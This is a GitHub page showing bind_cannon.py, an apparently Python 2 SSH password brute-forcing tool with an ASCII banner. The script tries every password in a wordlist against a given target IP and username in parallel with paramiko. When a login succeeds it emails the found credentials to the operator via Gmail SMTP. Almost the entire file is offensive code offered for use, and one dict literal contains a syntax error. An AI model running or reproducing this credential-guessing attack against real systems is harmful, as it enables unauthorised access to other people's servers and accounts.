-
Notifications
You must be signed in to change notification settings - Fork 4
/
bind_cannon.py
140 lines (115 loc) · 4.15 KB
/
bind_cannon.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
print \
'''
_ _ _
| |__ (_)_ __ __| | ___ __ _ _ __ _ __ ___ _ __
| '_ \| | '_ \ / _` | / __/ _` | '_ \| '_ \ / \| '_ \
| |_) | | | | | (_| | | (_| (_| | | | | | | | X_X | | | |
|_.__/|_|_| |_|\__,_|___\___\__,_|_| |_|_| |_|\___/|_| |_|
|_____|
.-.
* _.-' \\
\.-' \\
/ _/
| _ /" v0.1.0
| /_\\' .: s0|st1c3
\ \_/ Top-Hat-Sec.com
"""" """"""""
'''
from colorama import Fore
''' global ssh configs for controlling attack speed '''
MAX_WORKERS = 4
DELAY = 2
SUCCESS_MSG = ''.join([Fore.GREEN, '[', '+', ']', Fore.WHITE,' Found creds: ',
Fore.BLUE, '%s', Fore.WHITE, '@', Fore.BLUE, '%s ',
Fore.WHITE,'identified by ',Fore.BLUE,'%s',Fore.RESET])
''' global SMTP configs for email notifications '''
SMTP_SERVER = 'smtp.gmail.com'
SMTP_PORT = 587
SMTP_DEBUG = False
SMTP_SUBJECT = 'BIND CANNON: Successful login!'
SMTP_GMAIL = ''
SMTP_DEST = [SMTP_GMAIL,]
SMTP_PASSWD = ''
import sys
import time
import paramiko
from itertools import izip, repeat
from multiprocessing import Pool
from colorama import init as color_init
from GhostalService import SMTPBatchClient
def ssh_attempt(params):
''' set up the attempt '''
target_ip, user, line = params
attempt = line.rstrip()
''' establish ssh tunnel '''
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(target_ip, username=user, password=attempt)
''' raise an exception on auth success '''
raise Exception(SUCCESS_MSG %\
(user, target_ip, attempt))
except paramiko.AuthenticationException:
''' catch and handle auth failure '''
print ' %s[%sX%s]%s Failed attempt: %s%s%s %s' %\
(Fore.GREEN, Fore.RED, Fore.GREEN,
Fore.WHITE, Fore.BLUE, attempt, Fore.WHITE, Fore.RESET)
time.sleep(DELAY)
finally:
''' clean up '''
ssh.close()
return attempt
def send_notification(content):
''' establish smtp connection '''
with SMTPBatchClient(SMTP_SERVER,
SMTP_PORT, SMTP_GMAIL, SMTP_PASSWD, debug=SMTP_DEBUG) as con:
''' send notifications '''
print ' %s[%s!%s]%s Sending email to %s%s %s' %\
(Fore.GREEN, Fore.YELLOW, Fore.GREEN,
Fore.WHITE, Fore.BLUE, SMTP_GMAIL, Fore.RESET)
con.setcontent(content, SMTP_SUBJECT)
con.sendall(SMTP_DEST)
def main():
''' setup '''
wordlist = sys.argv[1]
target_ip = sys.argv[2]
user = sys.argv[3]
configs = {
'wordlist' : wordlist,
'target_ip'] : target_ip,
'user' : user,
}
''' get crackin' '''
pool = Pool(processes=MAX_WORKERS)
with open(wordlist) as input_handle:
try:
results = pool.map(
ssh_attempt,
izip(repeat(target_ip),
repeat(user),
input_handle,
),
1,
)
''' terminate all other workers on exception '''
except Exception, e:
pool.close()
pool.terminate()
success_msg = str(e)
print ' '*3, success_msg
send_notification(
success_msg.replace(
'[32m', '').replace(
'37m', '').replace(
'34m', '').replace(
'39m', ''))
''' otherwise wait for workers to join parent process '''
else:
pool.close()
pool.join()
''' leave '''
print ' %s[%s*%s]%s Exiting.%s' %\
(Fore.GREEN, Fore.YELLOW, Fore.GREEN, Fore.WHITE, Fore.RESET)
if __name__ == '__main__':
color_init()
main()